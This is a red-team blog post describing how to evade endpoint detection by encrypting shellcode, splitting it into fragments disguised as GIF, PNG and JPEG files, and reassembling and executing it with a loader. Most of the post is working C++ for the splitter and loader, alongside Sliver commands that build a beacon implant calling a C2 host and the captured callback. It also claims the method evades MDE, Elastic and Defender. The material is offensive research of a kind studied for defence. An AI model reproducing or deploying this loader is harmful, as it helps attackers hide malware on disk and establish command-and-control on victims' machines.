Shellcode in Pieces - This ‘One Weird Trick to Evade EDR’ Isn’t Dead Yet

At Borasec, we like to ask questions: "What if...". A recent assessment in a constrained environment raised the question "What if bad actor tactics of old-style splitting of malware into multiple encrypted pieces that pretended to be other file types?" and "What if more coffee?"

It turns out, of course, that malware groups are indeed still using this technique, such as:

Red Teams seem to avoid this type of tactic and prefer malware that holds mantra to "avoid disk as much as possible". This avoidance seems to come down to primarily OPSEC reasons, with direct process injection, memory staging, and remote payload hosting being common in avoiding disk writes.

If a source file looks legitimate enough, it can still reside on disk happily and contain the malicious code needed for establishing command and control (c2) connections.

Goal: Can encrypted shellcode malware, split and hidden in fake files survive on disk, and potentially be used as a persistence method?

Encrypting the Shellcode

In the following contrived example, image files were chosen as the types to fake due to their inherent nature of containing random picture data content, and are less likely to flag on automated analysis.

The shellcode is read in by the encryption program, and encrypted in whole, and split across three separate binary files, each containing an encrypted fragment with a fake file header. These fragments are stored with a small custom header (e.g., 16 byes) to include metadata such as the fragment size and offset. Once the files are created, they can be uploaded to the target system, ready for consumption by the decryption program.

fig.1 High-level overview of encrypting and splitting process in the Encryption program.

The workflow for encryption and splitting of the shellcode payload is as follows:

  • Read shellcode from file (argument) provided by operator

  • Encrypt full shellcode using preshared key

  • Split the encrypted shellcode blob (IV + encrypted shellcode) into 3

  • add fake file header to each blob, and write to disk

The fake file headers were obtained using xxd and capturing the first 16 bytes of each file chosen to fake:

╰─λ xxd -l 16 -ps unnamed.gif  
474946383761f401d20077000021ff0b  
╰─λ xxd -l 16 -ps unnamed.png  
89504e470d0a1a0a0000000d49484452  
╰─λ xxd -l 16 -ps unnamed.jpeg  
ffd8ffe000104a464946000101010048

The fake file headers were stored in both the Encryption, and Decryption programs for use with addition and removal, respectively:

std::vector<HeaderInfo> headers = {
    {{0x47, 0x49, 0x46, 0x38, 0x37, 0x61, 0xf4, 0x01, 0xd2, 0x00, 0x77, 0x00, 0x00, 0x21, 0xff, 0x0b}, ".gif"},
    {{0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52}, ".png"},
    {{0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46, 0x00, 0x01, 0x01, 0x01, 0x00, 0x60}, ".jpg"}
};

A number of standard operation implementations for tasks such as reading file content, debugging statements, and encrypting files in AES, are omitted from this write-up.

Firstly, the shellcode in C format is read in and encrypted. Most framework tools are capable of producing their implant code in C format, so this caters for use with multiple platforms:

    // Read shellcode from file supplied as a commandline argument
	std::vector<BYTE> SHELLCODE = ReadShellcodeFromFile(argv[1]);
	
    // Encrypt the extracted shellcode
	auto encrypted = CryptoUtils::aes_encrypt(
    	SHELLCODE,
	    key,
		iv
	);

The IV file is added to the shellcode blob prior to splitting, to ensure that it is present when decrypting on the target system:

    // Prepend IV to encrypted data before splitting into files:
    std::vector<BYTE> finalData;
    finalData.insert(finalData.end(), iv.begin(), iv.end());
    finalData.insert(finalData.end(), encrypted.begin(), encrypted.end());

    // Split into 3 files with random headers
    CryptoUtils::splitWrite(finalData, "wallpaper_scene", 3, CryptoUtils::headers);

The splitWrite function is defined below.

void splitWrite(const std::vector<BYTE>& data,
    const std::string& outputPrefix,
    size_t chunks,
    const std::vector<HeaderInfo>& headers) {
    
    // Initialize the randomization device for use in selecting the header
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<size_t> dis(0, headers.size() - 1);

    //Initialize variables tracking the split shellcode fragments
    size_t chunk_size = data.size() / chunks + 1;
    size_t written = 0;

    for (size_t i = 0; i < chunks; ++i) {
        // Randomly choose a file header from headers
        const auto& headerInfo = headers[dis(gen)];

        //Set up the destination filename and open the file
        std::string filename = outputPrefix + std::to_string(i) + headerInfo.suffix;
        std::ofstream outFile(filename, std::ios::binary);

        // Write the fake header to the file
        outFile.write(reinterpret_cast<const char*>(headerInfo.bytes.data()), headerInfo.bytes.size());

        // Write encrypted data chunk to file
        size_t writeSize = (std::min)(chunk_size, data.size() - written);
        outFile.write(reinterpret_cast<const char*>(data.data() + written), writeSize);
        written += writeSize;
    }
}

Execution of the compiled code results in three files created, with the randomly chosen header, and associated file suffix:

fig.2 Directory listing after execution of the encryption program using messageboxA shellcode

After the shellcode is consumed by the encryption program and the fake image files were created, these were checked to ensure that Checking the magic bytes of each file, confirms that the created faked files are considered image files as determined by the headers.
Using the file command, the headers verify successfully:

fig.3 Output of the linux file command showing the magic bytes corresponding file types of the faked files

Note: a longer term goal is to adjust the code to cater for more data from source image files so that image information, as well as image data itself is preserved to ensure that thumbnail generation and file viewing functionality is preserved.

Decrypting the Shellcode and Execution

The fake image files containing the shellcode, and the decryption method (e.g. executable, service executable, or dll) are loaded onto the target. Once executed, the loader searches for and reads the source image files.The numerical integer in the file name also indicates the shellcode fragment position. The fake header is removed from each file, and the encrypted fragments are combined ready for decryption.

At this stage, the static shared-key is used to decrypt the shellcode, and load it into a variable ready for use with various execution methods, e.g. NtMapViewOfProcess, NtCreateThreadEx, QueueUserAPC, CreatFibre or any other chosen WinAPI methods.

fig.4 High-level overview of rejoining and decrypting process.

The workflow for rejoining the files and decryption of the shellcode payload is as follows:

  • Read contents of each fake file and remove the fake header

  • Join the resulting data blobs into one encrypted shellcode blob, with the IV prefix

  • Decrypt the shellcode blob using the preshared key used in the encryption process

  • Load the shellcode into a subsequent execution function (e.g. NtMapViewOfProcess, RemoteThread, CreateFiber, NtTestAlert…)

    // Initialize the size of the fake headers
    const size_t HEADER_SIZE = 16;

    // Send the filepath to search for fake image files
    auto sortedFiles = getSortedParts(L"C:\\myfolder\\", L"wallpaper_scene");

    // Send the list of image files for extracting the shellcode from each
    auto encryptedData = ExtractEncryptedData(sortedFiles, HEADER_SIZE);

    // Send the returned combined encrypted shellcode for decryption (standard AES file decryption) operations (not detailed)
    auto decryptedShellcode = aes_decrypt(encryptedData, key);

    // execute the shellcode using the chosen WinAPI method (not detailed)
    executeShellcode(decryptedShellcode);

    
std::vector<std::wstring> getSortedParts(const std::wstring& folder, const std::wstring& prefix) {
    // Initialize the variable for files paired with an index extracted from their names
    std::vector<std::pair<int, std::wstring>> indexedFiles;
    
    // Initialize the searchPath location
    std::wstring searchPath = folder + L"" + prefix + L"*.*";

    // Start the directoy search for the image files
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW(searchPath.c_str(), &findData);

    do {
        // Get the current file name
        std::wstring filename = findData.cFileName;
        // Expecting the name format: prefixN.suffix (e.g., wallpaper_scene0.gif)
        size_t part_pos = filename.find(prefix);

        if (part_pos != std::wstring::npos) {
            // Locate the numerical index number and the file extension suffix
            size_t indexStart = part_pos + prefix.length();
            size_t indexEnd = filename.find(L'.', indexStart);
            
            // Extract the index number and convert to integer data type
            if (indexEnd != std::wstring::npos) {
                std::wstring index_str = filename.substr(indexStart, indexEnd - indexStart);
                try {
                    // Add the full path and it's index number to the list of files
                    int index = std::stoi(index_str);
                    indexedFiles.emplace_back(index, folder + L"" + filename);
                }
                catch (...) {
                }
            }
        }
    // Loop through all remaining matching files
    } while (FindNextFileW(hFind, &findData));
    // Close file handle
    FindClose(hFind);

    // Sort the list of files by index, to ensure that the encrypted shellcode will be in the correct order
    std::sort(indexedFiles.begin(), indexedFiles.end());
    std::vector<std::wstring> sortedFiles;
    
    // Extract only the sorted full file paths from the list of sorted files
    for (const auto& pair : indexedFiles) {
        sortedFiles.push_back(pair.second);
    }
    // Send the list of file paths back to the calling function
    return sortedFiles;
}

Once the combined and decrypted shellcode is in memory (stored in a <BYTE> variable), the shellcode can then be executed or injected using any number of common WinAPI execution methods.

std::vector<BYTE> ExtractEncryptedData(const std::vector<std::wstring>& file_paths, size_t header_size) {
    
    //Initialize the combined variable
    std::vector<BYTE> combined;

    //Start looping over the fake image files
    for (const auto& file_path : file_paths) {
    
        //Initialize and open the IO stream to the file at hand 
        std::ifstream file(file_path, std::ios::binary);
        
        // Skip the header size (16 bytes in the example case)
        file.seekg(header_size, std::ios::beg);
        
        //Initialize and extract the encrypted shellcode blob, and add it to the combined content
        std::vector<BYTE> file_data((std::istreambuf_iterator<char>(file)),
            std::istreambuf_iterator<char>());
        combined.insert(combined.end(), file_data.begin(), file_data.end());
    }
    // Send the full encrypted shellcode back to the calling function
    return combined;
}

The returned full shellcode blob can then be sent to be decrypted using standard AES decryption operations. The shellcode blob contains the required IV header.

// Send the returned combined encrypted shellcode for decryption (standard AES file decryption) operations (not detailed)
    auto decryptedShellcode = aes_decrypt(encryptedData, key);

    // execute the shellcode using the chosen standard WinAPI execution method (not detailed)
    executeShellcode(decryptedShellcode);

Once the shellcode is decrypted, it can be used in WinAPI execution operations, such as the below messagebox execution using NtMapViewOfProcess, and setting the parent ID of the spawned process to that of explorer.exe.

fig. 5 Debugging execution showing the three shellcode image files, and the messagebox popup confirming shellcode execution.

A standard sliver beacon payload was generated and converted into shellcode using hexdump:

sliver > profiles new --mtls test.domain.red:443 --format shellcode --arch amd64 x64Shellcode
[*] Saved new implant profile x64Shellcode
sliver > generate beacon --mtls test.domain --arch amd64 --format shellcode

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 41s
[*] Encoding shellcode with shikata ga nai ... success!
[*] Implant saved to ~/.sliver-client/configs/BIG_CURRENCY.bin

$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' ~/.sliver-client/configs/BIG_CURRENCY.bin >> BIG_CURRENCY.c

The shellcode was successfully split using the EncryptEXE program, and then executed with the DecryptEXE program, using NtMapViewOfProcess and the parentID of explorer.exe again:

fig.6 Split of sliver shellcode

The executed beacon is received by the sliver server:

[*] Beacon 310611e2 BIG_CURRENCY - <IP-redacted>:46142 (workstation) - windows/amd64 - Wed, 11 Jun 2025 00:39:52 UTC

The shellcode fragmentation technique here was tested with shellcode from Cobalt Strike, Mythic C2, as well as metasploit. The on-disk split shellcode, and subsequent execution/injection were found to work under MDE, Elastic, and MS Defender. Execution methods shown to work using the decrypted recombined shellcode using a number of WinAPIs were:

  • Windows Service Binaries

  • Windows EXE Binaries

  • Windows DLL sideloaded

  • Windows EXE Binaries with forced Parent Process ID specified

Detection of the shellcode itself in memory, as well as the execution method used will vary greatly across the capabilities of the EDR at hand, as well as the protections in place of the c2 framework (e.g. encrypted at rest in memory (sleepmask), or WinAPI used for execution, or additional operator OPSEC-unsafe behavioural activity.

Next
Next

Parsing MITRE ATT&CK CTI for Threat Emulation TTPs